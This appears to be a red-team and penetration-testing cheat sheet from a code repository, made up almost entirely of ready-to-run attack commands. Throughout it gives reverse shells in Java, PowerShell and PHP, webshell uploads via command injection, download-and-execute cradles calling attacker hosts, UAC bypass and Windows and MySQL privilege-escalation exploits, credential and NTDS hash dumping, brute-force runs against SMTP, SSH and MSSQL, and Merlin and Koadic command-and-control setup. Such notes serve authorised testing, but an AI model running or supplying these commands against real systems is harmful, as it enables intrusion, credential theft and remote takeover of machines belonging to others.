$ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/authorized_keys
$ chmod 700 /home/tempuser/.ssh/authorized_keys
$ chown -R tempuser:tempuser /home/tempuser/.ssh

# create reverse ssh shell
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@<attacker_ip>"

Patator is a multi-purpose brute-forcer

# git clone https://github.com/lanjelot/patator.git /usr/share/patator

# SMTP bruteforce
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst
$ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name'

Metasploit Web terminal via Gotty

$ service postgresql start
$ msfdb init
$ apt-get install golang
$ mkdir /root/gocode
$ export GOPATH=/root/gocode
$ go get github.com/yudai/gotty
$ gocode/bin/gotty -a 127.0.0.1 -w msfconsole
# open in browser http://127.0.0.1:8080

Get full shell with POST RCE

attacker:~$ curl -i -s -k  -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' 'http://victum.tk/command.php'

attacker:~$ curl -i -s -k  -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit' 'http://victum.tk/command.php'

attacker:~$ curl http://victum.tk/shell.php?cmd=id

# download reverse shell to server (phpshell.php)
http://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29;%27

# run nc and execute phpshell.php
attacker:~$ nc -nvlp 1337

Exiftool - Read and write meta information in files

$ wget http://www.sno.phy.queensu.ca/~phil/exiftool/Image-ExifTool-10.13.tar.gz
$ tar xzf Image-ExifTool-10.13.tar.gz
$ cd Image-ExifTool-10.13
$ perl Makefile.PL
$ make
$ ./exiftool main.gif

Get SYSTEM with Admin reverse_shell on Win7

msfvenom –p windows/shell_reverse_tcp LHOST=192.168.56.102 –f exe > danger.exe

#show account settings
net user <login>

# download psexec to kali
https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx

# upload psexec.exe file onto the victim machine with powershell script
echo $client = New-Object System.Net.WebClient > script.ps1
echo $targetlocation = "http://192.168.56.102/PsExec.exe" >> script.ps1
echo $client.DownloadFile($targetlocation,"psexec.exe") >> script.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1

# upload danger.exe file onto the victim machine with powershell script
echo $client = New-Object System.Net.WebClient > script2.ps1
echo $targetlocation = "http://192.168.56.102/danger.exe" >> script2.ps1
echo $client.DownloadFile($targetlocation,"danger.exe") >> script2.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script2.ps1

# UAC bypass from precompiled binaries:
https://github.com/hfiref0x/UACME

# upload https://github.com/hfiref0x/UACME/blob/master/Compiled/Akagi64.exe to victim pc with powershell
echo $client = New-Object System.Net.WebClient > script2.ps1
echo $targetlocation = "http://192.168.56.102/Akagi64.exe" >> script3.ps1
echo $client.DownloadFile($targetlocation,"Akagi64.exe") >> script3.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.ps1

# create listener on kali
nc -lvp 4444

# Use Akagi64 to run the danger.exe file with SYSTEM privileges
Akagi64.exe 1 C:\Users\User\Desktop\danger.exe

# create listener on kali
nc -lvp 4444

# The above step should give us a reverse shell with elevated privileges
# Use PsExec to run the danger.exe file with SYSTEM privileges
psexec.exe –i –d –accepteula –s danger.exe

Get SYSTEM with Standard user reverse_shell on Win7

https://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx #ms15-051
https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html
https://www.exploit-db.com/exploits/37049/

# check the list of patches applied on the target machine
# to get the list of Hotfixes installed, type in the following command.
wmic qfe get
wmic qfe | find "3057191"

# Upload compile exploit to victim machine and run it
https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe

# by default exploite exec cmd.exe with SYSTEM privileges, we need to change source code to run danger.exe
# https://github.com/hfiref0x/CVE-2015-1701 download it and navigate to the file "main.c"

# dump clear text password of the currently logged in user using wce.exe
http://www.ampliasecurity.com/research/windows-credentials-editor/
wce -w

# dump hashes of other users with pwdump7
http://www.heise.de/download/pwdump.html
# we can try online hash cracking tools such crackstation.net

Generate our own dic file based on the website content

$ cewl -m 4 -w dict.txt http://site.url
$ john --wordlist=dict.txt --rules --stdout

Bruteforce DNS records using Nmap

$ nmap --script dns-brute --script-args dns-brute.domain=foo.com,dns-brute.threads=6,dns-brute.hostlist=./hostfile.txt,newtargets -sS -p 80
$ nmap --script dns-brute www.foo.com

Identifying a WAF with Nmap

$ nmap -p 80,443 --script=http-waf-detect 192.168.56.102
$ nmap -p 80,443 --script=http-waf-fingerprint 192.168.56.102
$ wafw00f www.hamza.com

MS08-067 - without the use of Metasploit

$ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205
$ searchsploit ms08-067
$ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1

Nikto scan with SQUID proxy

$ nikto -useproxy http://squid_ip:3128 -h http://target_ip

Hijack a binary’s full path in bash to exec your own code

$ function /usr/bin/foo () { /usr/bin/echo "It works"; }
$ export -f /usr/bin/foo
$ /usr/bin/foo
# It works ;)

Local privilege escalation through MySQL run with root privileges

# Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)
$ wget 0xdeadbeef.info/exploits/raptor_udf2.c
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
mysql -u root -p
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/user/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out');

user:~$ su -
Password:
user:~# whoami
root
root:~# id
uid=0(root) gid=0(root) groups=0(root)

Bruteforce SSH login with patator

root:~# patator ssh_login host=192.168.0.18 user=FILE0 password=FILE1 0=word.txt 1=word.txt -x ignore:mesg='Authentication failed.'

Using LD_PRELOAD to inject features to programs

$ wget https://github.com/jivoi/pentest/ldpreload_shell.c
$ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so
$ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft

Exploit the OpenSSH User Enumeration Timing Attack

# https://github.com/c0r3dump3d/osueta
$ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
$ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt

Create a TCP circuit through validly formed HTTP requests with ReDuh

# https://github.com/sensepost/reDuh

# step 1
# upload reDuh.jsp to victim server
$ http://192.168.10.50/uploads/reDuh.jsp

# step 2
# run reDuhClient on attacker
$ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp

# step 3
# connecting to management port with nc
$ nc -nvv 127.0.0.1 1010

# step 4
# forward localport to remote port with tunnel
[createTunnel] 7777:172.16.0.4:3389

# step 5
# connect to localhost with rdp
$ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777

Jenkins Reverse Shell

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Powershell Reverse Shell

change IP and Port / Limmited version

$sm=(New-Object Net.Sockets.TCPClient('192.168.1.11',9001)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

Donwload file to Victim machine

cmd /c certutil -urlcache -split -f http://127.0.0.1/shell.exe c:\Temp\shell.exe && C:\temp\shell.exe

powershell -v 2 -exec bypass IEX(New-Object Net.WebClient).downloadString("http://127.0.0.1/shell.ps1")

MSSQL attack

Service discovery

Nmap

nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156

MetaSploit

msf > use auxiliary/scanner/mssql/mssql_ping

Enumeration Combine user passwords collected in other ways into a dictionary to enumerate MSSQL machines in the domain.

Nmap

nmap -n -sV -Pn -vv -p<PORT> --script=banner,ms-sql-empty-password,ms-sql-dac,ms-sql-dump-hashes,ms-sql-info,ms-sql-ntlm-info,vulners -oA <IP>_mssql.txt <IP>
nmap -p 445 --script ms-sql-brute --script-args mssql.instance-all,userdb=user.txt,passdb=pass.txt 192.168.1.1
nmap -p 1433 --script ms-sql-brute --script-args userdb=user.txt,passdb=pass.txt 192.168.1.1
Hydra
hydra -L userlist_sqlbrute.txt -P quick_password_spray.txt -f -o output.ms-sql -u <IP> -s <PORT>

MetaSploit

msf > use auxiliary/admin/mssql/mssql_enum
msf > use auxiliary/scanner/mssql/mssql_login
Set it up PASS_FILE and RHOSTS.

PowerUpSQL

Invoke-SQLAuditWeakLoginPw

FScrack

python FScrack.py -h 192.168.1 -p 1433 -d pass.txt

Exploitation

Nmap

nmap -p 445 --script ms-sql-discover,ms-sql-empty-password,ms-sql-xp-cmdshell 192.168.1.10
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="whoami" 192.168.1.10

MetaSploit

msf > auxiliary/admin/mssql/mssql_exec
msf > auxiliary/admin/mssql/mssql_sql 
Rebound
msf > use exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp

MSDAT All the included above could be tested using MSDAT only.
Getting a shell

msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell
mssql_shell python script

python mssql_shell.py script

Usage : mssql_shell Change MSSQL_SERVE , MSSQL_USERNAME and MSSQL_PASSWORD

Sqsh
Connect to the service

sqsh -S mssql -D MyDB -U DOMAIN\\testuser -P MyTestingClearPassword1

Then

exec sp_configure ‘show advanced options’, 1
go
reconfigure
go
exec sp_configure ‘xp_cmdshell’, 1
go
reconfigure
go
xp_cmdshell 'dir C:\'
go

C&C

Merlin

Compile and run server

$ cd merlin/cmd/merlinserver
$ go build
$ sudo ./merlinServer-Linux-x64 -i 192.168.1.11 -p 8443

Compile agent

$ cd merlin/cmd/merlinagent
$ sudo GOOS=windows GOARCH=386 go build

Generate Certificate

$ cd merlin/data/x509
$ openssl req -x509 -newkey rsa:4096 -sha256 -nodes -keyout server.key -out server.crt -subj "/CN=lab.com" -days 365

Koadic

$ cd koadic
$ ./koadic
                           / \
     _                   _ | |
    | | _____   __ _  __| || |  ___
    | |/ / _ \ / _` |/ _` ||.| / __|
    |   / (o) | (_| | (_| ||.|| (__
    |_|\_\_^_/ \__,_|\__,_||:| \___|
                           |:|
                        ~\==8==/~
                            8
                            O

        -{ COM Command & Control }-
      Windows Post-Exploitation Tools
             Endless Intellect

            ~[ Version:  0xA ]~
            ~[ Stagers:    5 ]~
            ~[ Implants:  33 ]~

(koadic: sta/js/mshta)$ info

        NAME        VALUE               REQ     DESCRIPTION     
        -----       ------------        ----    -------------   
        SRVHOST     192.168.1.11        yes     Where the stager should call home
        SRVPORT     9999                yes     The port to listen for stagers on
        EXPIRES                         no      MM/DD/YYYY to stop calling home
        KEYPATH                         no      Private key for TLS communications
        CERTPATH                        no      Certificate for TLS communications
        MODULE                          no      Module to run once zombie is staged

(koadic: sta/js/mshta)$ set SRVPORT 1245
[+] SRVPORT => 1245
(koadic: sta/js/mshta)$ run 
[+] Spawned a stager at http://192.168.1.11:1245/c26qp
[!] Don't edit this URL! (See: 'help portfwd')
[>] mshta http://192.168.1.11:1245/c26qp

PHP Tiny Webshell

<?= ($_=@$_GET[0]).$_(@$_GET[1]);

http://127.0.0.1/shell.php?0=system&1=ls

Donwload file to the victim machine

bitsadmin  /transfer mydownloadjob  /download  /priority normal  ^http://example.com/filename.zip  C:\Users\username\Downloads\filename.zip

Internal Monolog

Retrieving NTLM Hashes without Touching LSASS

https://github.com/eladshamir/Internal-Monologue

NTDS - Domain Controller

Dumping and enumerating NTDS.dit - a file that contains information about Active Directory users (hashes!).

powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

Dump hashes

/usr/bin/impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local

Interactive shell with nc

rlwrap nc -nlvp PORT

Tipis and tricks

RCE POC

We can use the folloiwng tricks as an RCE POC(in some engagements, the client asks for a limited tests on RCE POCs).

Ping

Pentester machine

tcpdump -nni <eth-adapter> -e icmp[icmptype] == 8

Under the exploit run

ping <Attacker-IP>

You can specify a number of pings with -c agrments, If ICMP requests recieved, RCE achieved

Curl

Execute commands and recieve data with the POST request

curl -d "$(id)" 127.0.0.1:9988

Recieve data

nc -nlvp 9988

Burpsuite Collaborator

Use burpcollaborator as POC

  • Linux
curl <burp-collaborator.com>
  • Windows
mshta <burp-collaborator.com>

About

RedTeam/Pentest notes and experiments tested on several infrastructures related to professional engagements.

Topics

tools exploit script active-directory hacking cybersecurity enumeration nmap penetration-testing vulnerability pentesting privilege-escalation engagement meterpreter metasploit security-tools crackmapexec mimikatz redteam lateral-movement

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